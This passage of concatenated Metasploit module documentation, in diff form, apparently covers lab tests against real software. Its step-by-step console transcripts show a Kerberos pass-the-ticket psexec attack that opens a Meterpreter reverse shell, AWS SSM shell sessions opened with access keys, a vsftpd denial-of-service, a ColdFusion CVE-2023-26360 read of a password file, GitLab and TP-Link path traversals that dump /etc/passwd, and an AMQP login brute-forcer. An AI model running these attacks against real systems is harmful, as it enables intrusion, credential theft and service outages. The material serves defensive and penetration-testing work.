[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_533930.bin
|
||||
[*] 192.168.159.10:88 - Getting TGS impersonating Administrator@msflab.local (SPN: cifs/ws01.msflab.local)
|
||||
[+] 192.168.159.10:88 - Received a valid TGS-Response
|
||||
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_962080.bin
|
||||
[+] 192.168.159.10:88 - Received a valid TGS-Response
|
||||
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The saved TGS can be used in a pass-the-ticket style attack. For instance using the `exploit/windows/smb/psexec` module for a reverse shell:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/psexec) > run lhost=192.168.123.1 rhost=192.168.159.10 username=Administrator smb::auth=kerberos smb::rhostname=ws01.msflab.local domaincontrollerrhost=192.168.159.10 smbdomain=msflab.local smb::krb5ccname=/Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] 192.168.159.10:445 - Connecting to the server...
|
||||
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445|msflab.local as user 'Administrator'...
|
||||
[*] 192.168.159.10:445 - Loaded a credential from ticket file: /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
|
||||
[*] 192.168.159.10:445 - Selecting PowerShell target
|
||||
[*] 192.168.159.10:445 - Executing the payload...
|
||||
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (175686 bytes) to 192.168.159.10
|
||||
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.159.10:60755) at 2023-02-22 10:00:01 +0000
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Provided AWS credentials, this module will call the authenticated API of Amazon Web Services to list all SSM-enabled EC2
|
||||
instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band
|
||||
WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API
|
||||
enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all
|
||||
identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also
|
||||
provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Obtain AWS access keys
|
||||
2. Start msfconsole
|
||||
3. Set the `ACCESS_KEY_ID`, `SECRET_ACCESS_KEY`, `REGION`
|
||||
4. Run the module, see EC2 instances
|
||||
|
||||
## Options
|
||||
|
||||
## LIMIT
|
||||
Only return the specified number of results from each region.
|
||||
|
||||
## FILTER_EC2_ID
|
||||
Look for specific EC2 instance ID.
|
||||
|
||||
## REGION
|
||||
AWS Region (e.g. "us-west-2").
|
||||
|
||||
## Advanced Options
|
||||
|
||||
### CreateSession
|
||||
|
||||
Create a new session for every successful login.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Enumerating EC2 instances in the US-East-2 region and opening a session on each one (`CreateSession` is True).
|
||||
|
||||
```
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) > set ACCESS_KEY_ID AKIAO5WK2W9TMZT7EAM5
|
||||
ACCESS_KEY_ID => AKIAO5WK2W9TMZT7EAM5
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) > set SECRET_ACCESS_KEY pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo
|
||||
SECRET_ACCESS_KEY => pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) > run
|
||||
|
||||
[*] Checking us-east-2...
|
||||
[+] Found AWS SSM host i-02cd668d50587bdcf (ip-172-31-42-215.us-east-2.compute.internal) - 172.31.42.215
|
||||
[*] AWS SSM command shell session 3 opened (192.168.250.134:39005 -> 172.31.42.215:0) at 2023-05-22 16:43:03 -0400
|
||||
[+] Found AWS SSM host i-074187bde1453613a (EC2AMAZ-HM7U6TS.WORKGROUP) - 172.31.44.170
|
||||
[*] AWS SSM command shell session 4 opened (192.168.250.134:37231 -> 172.31.44.170:0) at 2023-05-22 16:43:05 -0400
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(cloud/aws/enum_ssm) >
|
||||
```
|
||||
@@ -0,0 +1,159 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This is an auxiliary for DOSing a VSFTPD server from version 2.3.2 and below. The
|
||||
vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have
|
||||
shown success.
|
||||
|
||||
VSFTPD is a popular ftp server written in C. The vulnerability causes a DOS on
|
||||
the service by leveraging a long recursive glob statement on the server. When
|
||||
we fill the 4096 character buffer with this recursive glob search, it makes the
|
||||
current thread spend all of that time unwinding that glob statement which can
|
||||
use up all the resources on that core. Sending this glob on all threads leave no
|
||||
availability for anyone else to access the server while taking up all of the CPU
|
||||
resources of the machine.
|
||||
|
||||
## Options
|
||||
|
||||
### FTPUSER
|
||||
The username used to log into the FTP server
|
||||
|
||||
### FTPPASS
|
||||
The password used to log into the FTP server
|
||||
|
||||
### Install on Arch Linux
|
||||
|
||||
The software has been tested on multiple versions using arch linux. To create an
|
||||
installable package for the vulnerable software to test, follow these instructions.
|
||||
|
||||
1. Clone the source repository using `git clone https://gitlab.archlinux.org/archlinux/packaging/packages/vsftpd.git`
|
||||
2. Replace the contents of the PKGBUILD with this
|
||||
|
||||
```pkgbuild
|
||||
pkgname=vsftpd
|
||||
pkgver=2.3.2
|
||||
pkgrel=1
|
||||
pkgdesc='Very Secure FTP daemon'
|
||||
url='https://security.appspot.com/vsftpd.html'
|
||||
arch=('x86_64')
|
||||
license=('GPL2')
|
||||
depends=('glibc' 'openssl' 'libcap' 'pam' 'libnsl')
|
||||
optdepends=('logrotate')
|
||||
backup=('etc/vsftpd.conf'
|
||||
'etc/xinetd.d/vsftpd'
|
||||
"etc/logrotate.d/vsftpd")
|
||||
source=(https://security.appspot.com/downloads/${pkgname}-${pkgver}.tar.gz
|
||||
vsftpd-ssl.socket
|
||||
vsftpd.socket
|
||||
vsftpd.service
|
||||
vsftpd@.service
|
||||
vsftpd-ssl.service
|
||||
vsftpd-ssl@.service)
|
||||
sha256sums=('SKIP'
|
||||
'd5185e48fffc6253499a55e0fe0f90a3424fc639640af11a9d38df33fb145afe'
|
||||
'9fdbfd2ec0207170371ca3cf2b0ddca2dc2fe3d062e5792e0d3e51474c3198c9'
|
||||
'0597e571718ba0f4dc4b32a4ddd148103758c48c7d65dcb8bbedafc9e810e83d'
|
||||
'd7b8e4827d4f6bafcbf52f9d2d7380958c7b08bb3f757806aa89d4bc06c9671c'
|
||||
'b88a50fc68b3bf746d13c9a777df77791cd3eac6eb7c2df655418071c2adf422'
|
||||
'4a55c2468b08d858f71bacf1f4885847bec8e548b0e92088068d9bdd3884af84')
|
||||
|
||||
prepare() {
|
||||
cd ${pkgname}-${pkgver}
|
||||
# build-time config
|
||||
sed -e 's|^#undef VSF_BUILD_SSL$|#define VSF_BUILD_SSL|' -i builddefs.h
|
||||
sed -e 's|/usr/share/empty|/var/empty|g' -i tunables.c vsftpd.conf.5 INSTALL
|
||||
sed -e 's|/usr/local/sbin/vsftpd|/usr/bin/vsftpd|' -i EXAMPLE/INTERNET_SITE/${pkgname}.xinetd
|
||||
|
||||
# fix linking to openssl 1.1
|
||||
sed -e 's|SSL_library_init|SSL_CTX_new|' -i vsf_findlibs.sh
|
||||
}
|
||||
|
||||
build() {
|
||||
cd ${pkgname}-${pkgver}
|
||||
make LINK='' CFLAGS="${CFLAGS} ${CPPFLAGS}" LDFLAGS="${LDFLAGS}"
|
||||
}
|
||||
|
||||
package() {
|
||||
cd ${pkgname}-${pkgver}
|
||||
|
||||
install -Dm 755 ${pkgname} -t "${pkgdir}/usr/bin"
|
||||
install -dm 755 "${pkgdir}/var/empty"
|
||||
install -Dm 644 "${srcdir}"/{*.service,*.socket} -t "${pkgdir}/usr/lib/systemd/system"
|
||||
|
||||
install -Dm 644 ${pkgname}.conf -t "${pkgdir}/etc"
|
||||
install -Dm 644 EXAMPLE/INTERNET_SITE/${pkgname}.xinetd "${pkgdir}/etc/xinetd.d/${pkgname}"
|
||||
install -Dm 644 RedHat/vsftpd.log "${pkgdir}/etc/logrotate.d/${pkgname}"
|
||||
install -Dm 644 RedHat/vsftpd.pam "${pkgdir}/etc/pam.d/${pkgname}"
|
||||
|
||||
install -Dm 644 ${pkgname}.8 -t "${pkgdir}/usr/share/man/man8"
|
||||
install -Dm 644 ${pkgname}.conf.5 -t "${pkgdir}/usr/share/man/man5"
|
||||
install -Dm 644 BENCHMARKS BUGS Changelog FAQ INSTALL README README.ssl REFS \
|
||||
REWARD SPEED TODO TUNING -t "${pkgdir}/usr/share/doc/${pkgname}"
|
||||
}
|
||||
```
|
||||
|
||||
3. If you want to test a different version, Change the version variable to your
|
||||
desired version.
|
||||
4. Run `makepkg -i` to build the package and automatically install it.
|
||||
5. Start the systemd service with `sudo systemctl start vsftpd`
|
||||
|
||||
### Docker install on Arch Linux
|
||||
|
||||
A simple container was created to easily test this vulnerability. To easily run a
|
||||
vulnerable instance of this application, build this image from this Dockerfile.
|
||||
|
||||
1. Create a `Dockerfile` and place the content below into it
|
||||
|
||||
```dockerfile
|
||||
FROM archlinux:latest
|
||||
ARG VERSION=2.3.2
|
||||
RUN pacman -Sy --noconfirm gcc make libnsl
|
||||
RUN curl -O https://security.appspot.com/downloads/vsftpd-$VERSION.tar.gz
|
||||
RUN tar zxf vsftpd-$VERSION.tar.gz
|
||||
WORKDIR /vsftpd-$VERSION
|
||||
RUN make
|
||||
RUN mkdir -p /usr/share/empty/
|
||||
RUN chmod +x /vsftpd-$VERSION/vsftpd
|
||||
RUN mv /vsftpd-$VERSION/vsftpd /bin/vsftpd
|
||||
RUN mv /vsftpd-$VERSION/vsftpd.conf /etc/vsftpd.conf
|
||||
RUN chown root:root /etc/vsftpd.conf
|
||||
EXPOSE 21
|
||||
CMD [ "/bin/vsftpd" ]
|
||||
```
|
||||
|
||||
2. Run `sudo docker build . -t vsftpd:2.3.2 --build-arg=2.3.2`
|
||||
3. Run `sudo docker run --name vsftpd -p 21:21 vsftpd:2.3.2`
|
||||
|
||||
Run the module against this container and the container will either slow down or crash entirely.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/dos/ftp/vstfpd_232`
|
||||
3. `set rhosts`
|
||||
4. `set ftpuser`
|
||||
5. `set ftppass`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VSFTPD 2.3.2 - Arch linux
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/dos/ftp/vsftpd_232
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106
|
||||
rhosts => 192.168.56.106
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous
|
||||
ftpuser => anonymous
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > set ftppass ''
|
||||
ftppass =>
|
||||
msf6 auxiliary(dos/ftp/vstfpd_232) > run
|
||||
[*] Running module against 192.168.56.106
|
||||
|
||||
[*] 192.168.56.106:21 - sending payload
|
||||
.............................................................................................
|
||||
[+] 192.168.56.106:21 - Stream was cut off abruptly. Appears DOS attack succeeded.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can verify that it works by either attempting to ftp into the machine after or checking
|
||||
htop on the machine. If the CPU is at max capacity, that would be due to the DOS.
|
||||
@@ -0,0 +1,80 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an unauthenticated arbitrary file read vulnerability due to deserialization of untrusted data
|
||||
in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update
|
||||
15 and earlier. For a full technical analysis of the vulnerability read the
|
||||
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis).
|
||||
|
||||
## Options
|
||||
To successfully read back the contents of an arbitrary file, you must set the modules `CFC_ENDPOINT` option to a valid
|
||||
ColdFusion Component (CFC) endpoint on the target server. You must also set the `CFC_ENDPOINT` option to the name of a
|
||||
remote method from that `CFC_ENDPOINT`. While the vulnerability is triggered regardless of remote method begin invoked,
|
||||
in order for ColdFusion to emit the `TARGETFILE` contents in the HTTP response, the remote method invoked must return
|
||||
a result. If the CFC_METHOD requires parameters, they can be provided via the `CFC_METHOD_PARAMETERS` option. By default
|
||||
a CFC endpoint and method from the ColdFusion Administrator (CFIDE) are provided, which is accessible in many but not
|
||||
all configurations.
|
||||
|
||||
## Testing
|
||||
To setup a test environment, the following steps can be performed.
|
||||
1. Setup a Windows Server 2022 VM.
|
||||
2. Download the [ColdFusion 2021
|
||||
Update 5](https://cfdownload.adobe.com/pub/adobe/coldfusion/2021/cfinstaller/cf2021u5/ColdFusion_2021_GUI_WWEJ_win64.exe)
|
||||
installer and install it.
|
||||
3. Configure the ColdFusion server for production use and enable the Secure Profile during setup.
|
||||
4. If the default CFIDE endpoints are not accessible (e.g. The server is configured with a Secure profile), install a
|
||||
web application on top of ColdFusion in order to expose CFC endpoints. Alternatively, create a test CFC endpoint
|
||||
called `testing.cfc` in the `wwwroot` folder with the following contents:
|
||||
```
|
||||
component testing {
|
||||
|
||||
remote String function foo() {
|
||||
|
||||
return "Hello from foo";
|
||||
}
|
||||
}
|
||||
```
|
||||
5. Follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set CFC_ENDPOINT /testing.cfc`
|
||||
5. `set CFC_METHOD foo`
|
||||
6. Optionally `set CFC_METHOD_PARAMETERS param1=foo, param2=bar` if the CFC_METHOD requires parameters.
|
||||
7. `set TARGETFILE ../lib/password.properties`
|
||||
8. `set STORE_LOOT false` if you want to display file on the console instead of storing it as loot.
|
||||
9. `run`
|
||||
|
||||
## Scenarios
|
||||
### Adobe ColdFusion 2021 Update 5 on Windows Server 2022
|
||||
```
|
||||
msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > show options
|
||||
|
||||
Module options (auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CFC_ENDPOINT /testing.cfc yes The target ColdFusion Component (CFC) endpoint
|
||||
CFC_METHOD foo yes The target ColdFusion Component (CFC) remote method name
|
||||
CFC_METHOD_PARAMETERS no The target ColdFusion Component (CFC) remote method parameters
|
||||
(e.g. "param1=foo, param2=bar")
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.23.13.12 yes The target host(s), see https://docs.metasploit.com/docs/using
|
||||
-metasploit/basics/using-metasploit.html
|
||||
RPORT 8500 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STORE_LOOT false no Store the target file as loot
|
||||
TARGETFILE ../lib/password.properties yes The target file to read, relative to the wwwroot folder.
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > run
|
||||
[*] Running module against 172.23.13.12
|
||||
|
||||
[*] #Tue Mar 28 01:33:23 PDT 2023
|
||||
password=30160D97731079B7ACCF7BCFAD049FCCCA3F855318037AC09DC00FFD52A29F5C
|
||||
rdspassword=
|
||||
encrypted=true
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) >
|
||||
```
|
||||
@@ -0,0 +1,140 @@
|
||||
## Vulnerable Application
|
||||
|
||||
GitLab version 16.0 contains a directory traversal for arbitrary file read
|
||||
as the `gitlab-www` user. This module requires authentication for exploitation.
|
||||
In order to use this module, a user must be able to create a project and groups.
|
||||
When exploiting this vulnerability, there is a direct correlation between the traversal
|
||||
depth, and the depth of groups the vulnerable project is in. The minimum for this seems
|
||||
to be `5`, but up to `11` have also been observed. An example of this, is if the directory
|
||||
traversal needs a depth of `11`, a group
|
||||
and 10 nested child groups, each a sub of the previous, will be created (adding up to `11`).
|
||||
Visually this looks like:
|
||||
`Group1->child1->child2->child3->child4->child5->child6->child7->child8->child9->child10`.
|
||||
If the depth was `5`, a group and 4 nested child groups would be created.
|
||||
With all these requirements satisfied a dummy file is uploaded, and the full
|
||||
traversal is then executed. Cleanup is performed by deleting the first group which
|
||||
cascades to deleting all other objects created.
|
||||
|
||||
Tested on a Docker image of GitLab 16.0
|
||||
|
||||
### Install
|
||||
|
||||
A Docker image is available:
|
||||
|
||||
```
|
||||
sudo docker run --detach \
|
||||
--hostname gitlab.example.com \
|
||||
--publish 443:443 --publish 80:80 --publish 22:22 \
|
||||
--name gitlab \
|
||||
--restart always \
|
||||
--volume $GITLAB_HOME/config:/etc/gitlab \
|
||||
--volume $GITLAB_HOME/logs:/var/log/gitlab \
|
||||
--volume $GITLAB_HOME/data:/var/opt/gitlab \
|
||||
--shm-size 256m \
|
||||
gitlab/gitlab-ee:16.0.0-ee.0
|
||||
```
|
||||
|
||||
To retrieve the default password:
|
||||
|
||||
```
|
||||
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `set username [username]`
|
||||
1. DO: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should be able to read an arbitrary file.
|
||||
|
||||
## Options
|
||||
|
||||
### DEPTH
|
||||
|
||||
Depth for path traversal (also groups creation). 11 seems pretty safe but it may work with less. Defaults to `11`.
|
||||
|
||||
### FILE
|
||||
|
||||
File to read. Defaults to `/etc/passwd`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker GitLab 16.0
|
||||
|
||||
```
|
||||
[*] Processing gitlab.rb for ERB directives.
|
||||
resource (gitlab.rb)> use auxiliary/gather/gitlab_authenticated_subgroups_file_read
|
||||
resource (gitlab.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (gitlab.rb)> set username root
|
||||
username => root
|
||||
resource (gitlab.rb)> set password 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4=
|
||||
password => 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4=
|
||||
resource (gitlab.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (gitlab.rb)> exploit
|
||||
[*] Running module against 127.0.0.1
|
||||
[+] CSRF Token: dPAr4PTaCuwRU5-j-snq7FfX1V0qh7MoDguHWbUCXCPnwKK3azJXGaF5QxXjRtXkn2_ORLoEt8-NGf59fngrUg
|
||||
[*] Creating 11 groups
|
||||
[*] Creating group: GYS2KiLq
|
||||
[+] CSRF Token: RiloN6gmbtG6kHO55i7i0LFqaN38Bwd_EZCHW2Q9UcLVGeFgN84zJAq6rw__od3YedJzxGyEA5iSgv5_r0cmsw
|
||||
[*] Creating child group: YzJEBtNX with parent id: 2
|
||||
[+] CSRF Token: uSAAt3_f4qbQtpxzkyI-vefpmQhh3vxFtee7I1bmVxUqEIng4De_U2CcQMWKrQG1L1GCEfFd-KI29cIHnZwgZA
|
||||
[*] Creating child group: kl9AGSEx with parent id: 3
|
||||
[+] CSRF Token: ujc-Maz6zilT6D5fPjiq-s0CtVg9CYm43f71Eiu35I0pB7dmMxKT3OPC4uknt5XyBbquQa2KjV9e7Iw24M2T_A
|
||||
[*] Creating child group: 9QC5nfTB with parent id: 4
|
||||
[+] CSRF Token: mkDq3WQ7BdDAfiO_INXVAZ7UOeNPlHXJqx0_0TfqmgwJcGOK-9NYJXBU_wk5WuoJVmwi-t8XcS4oD0b1_JDtfQ
|
||||
[*] Creating child group: ssHxNX3y with parent id: 5
|
||||
[+] CSRF Token: -9mNSwNeTCTQ6EmVxDV4yAq1O7TvVbpvctLZJwO0d4Fo6QQcnLYR0WDClSPdukfAwg0grX_WvojxwKADyM4A8A
|
||||
[*] Creating child group: w7bktrEs with parent id: 6
|
||||
[+] CSRF Token: bnozD-CZzDp00QJ9Fx9pVEcwg6QO_1iykxrRUg17NIH9SrpYf3GRz8T73ssOkFZcj4iYvZ58XFUQCKh2xgFD8A
|
||||
[*] Creating child group: uU8ELnQm with parent id: 7
|
||||
[+] CSRF Token: l57r09_W7GDI5VXVZ5SS0BOatod1-HCZyZj2z3J_Ac8ErmKEQD6xlXjPiWN-G63Y2yKtnuV7dH5Kio_ruQV2vg
|
||||
[*] Creating child group: o23bujpZ with parent id: 8
|
||||
[+] CSRF Token: 81sCdo47UC5diIjdq_uquTFpMwzNDnV-mG9RprW-ACdga4shEdMN2-2iVGuydJWx-dEoFV2NcZkbfSiCfsR3Vg
|
||||
[*] Creating child group: A3ksDjIZ with parent id: 9
|
||||
[+] CSRF Token: SQAMHEjnus9-5Qk-leIXDxLUTDfpD6tfP5fTqgTodezaMIVL1w_nOs7P1YiMbSgH2mxXLnmMr7i8haqOz5ICnQ
|
||||
[*] Creating child group: fefAYofd with parent id: 10
|
||||
[+] CSRF Token: wAeXzAb4bFXWLnys1qQ1HCgXtwPplB9ACCdTliQbWTpTNx6bmRAxoGYEoBrPKwoU4K-sGnkXG6eLNSqy72EuSw
|
||||
[*] Creating child group: d9ojqIJp with parent id: 11
|
||||
[+] CSRF Token: Jmtw9u0oBZ-TbViSBqgoNaj5NI5hxeIhKb9SWtR-TL-1W_mhcsBYaiNHhCQfJxc9YEEvl_FG5saqrSt-HwQ7zg
|
||||
[*] Creating project WELLohsl
|
||||
[*] Creating a dummy file in project
|
||||
[*] Executing dir traversal
|
||||
[+] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
|
||||
git:x:998:998::/var/opt/gitlab:/bin/sh
|
||||
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
|
||||
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
|
||||
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
|
||||
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
|
||||
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
|
||||
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
|
||||
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
|
||||
|
||||
[+] /etc/passwd saved to /root/.msf4/loot/20230602160435_default_127.0.0.1_GitLabfile_635783.txt
|
||||
[*] Deleting group GYS2KiLq
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,58 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to spider files from an archer c7 router using a known traversal
|
||||
vulnerability
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
|
||||
This option sets what file you want to collect from the router.
|
||||
|
||||
### SAVE
|
||||
|
||||
Use this option to save the file found as loot
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/gather/tplink_archer_c7_traversal`
|
||||
2. `set RHOSTS <addr>`
|
||||
3. `set FILE <file>`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Archer C7_V1_141204_US
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/tplink_archer_c7_traversal
|
||||
msf6 auxiliary(gather/tplink_archer_c7_traversal) > set rhosts 192.168.0.1
|
||||
rhosts => 192.168.0.1
|
||||
msf6 auxiliary(gather/tplink_archer_c7_traversal) > run
|
||||
[*] Running module against 192.168.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target device 'Archer C7'
|
||||
[*] Grabbing data at /login/../../../etc/passwd
|
||||
[+] /etc/passwd retrieved
|
||||
root:x:0:0:root:/root:/bin/sh
|
||||
Admin:x:0:0:root:/root:/bin/sh
|
||||
bin:x:1:1:bin:/bin:/bin/sh
|
||||
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
|
||||
adm:x:3:4:adm:/adm:/bin/sh
|
||||
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
|
||||
sync:x:5:0:sync:/bin:/bin/sync
|
||||
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
|
||||
halt:x:7:0:halt:/sbin:/sbin/halt
|
||||
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
|
||||
operator:x:11:0:Operator:/var:/bin/sh
|
||||
nobody:x:65534:65534:nobody:/home:/bin/sh
|
||||
ap71:x:500:0:Linux Usermmm:/root:/bin/sh
|
||||
admin:x:500:500:admin:/home:/bin/sh
|
||||
guest:x:500:500:guest:/home:/bin/sh
|
||||
root:x:0:0:root:/root:/bin/sh
|
||||
admin:x:500:500:admin:/tmp/dropbear:/bin/sh
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,98 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will test AMQP logins on a range of machines and report successful logins. If you have loaded a database
|
||||
plugin and connected to a database this module will record successful logins and hosts so you can track your access.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install RabbitMQ and start it
|
||||
1. To use Docker, run: `docker run --rm -it --hostname "$(hostname)" -p 15672:15672 -p 5672:5672 rabbitmq:3-management`
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/amqp/amqp_login`
|
||||
4. Do: `set rhosts`
|
||||
5. Do: set usernames and passwords via any of the available options
|
||||
6. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### BLANK_PASSWORD
|
||||
|
||||
Boolean value on if an additional login attempt should be attempted with an empty password for every user.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Password to try for each user.
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst`
|
||||
|
||||
### STOP_ON_SUCCESS
|
||||
|
||||
If a valid login is found on a host, immediately stop attempting additional logins on that host.
|
||||
|
||||
### USERNAME
|
||||
|
||||
Username to try for each password.
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
A file containing a username and password, separated by a space, on every line. An example line would be `username
|
||||
password`.
|
||||
|
||||
### USER_AS_PASS
|
||||
|
||||
Boolean value on if an additional login attempt should be attempted with the password as the username.
|
||||
|
||||
### USER_FILE
|
||||
|
||||
A file containing a username on every line.
|
||||
|
||||
### VERBOSE
|
||||
|
||||
Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed
|
||||
attempt will look similar to the following:
|
||||
|
||||
```
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:Password1! (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
```
|
||||
|
||||
## Option Combinations
|
||||
|
||||
It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password
|
||||
could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or
|
||||
`BLANK_PASSWORDS`. This module makes a combination of all of the above when attempting logins. So if a password is set
|
||||
in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these.
|
||||
|
||||
## Scenarios
|
||||
### RabbitMQ 3.11.10 on Docker
|
||||
|
||||
The Docker container listens on 5672/tcp without SSL. There's also an administrative site running on 15672/tcp where
|
||||
users can be added. The default credentials to login are `guest` / `guest`. A new `admin` account was added for this
|
||||
example.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/amqp/amqp_login
|
||||
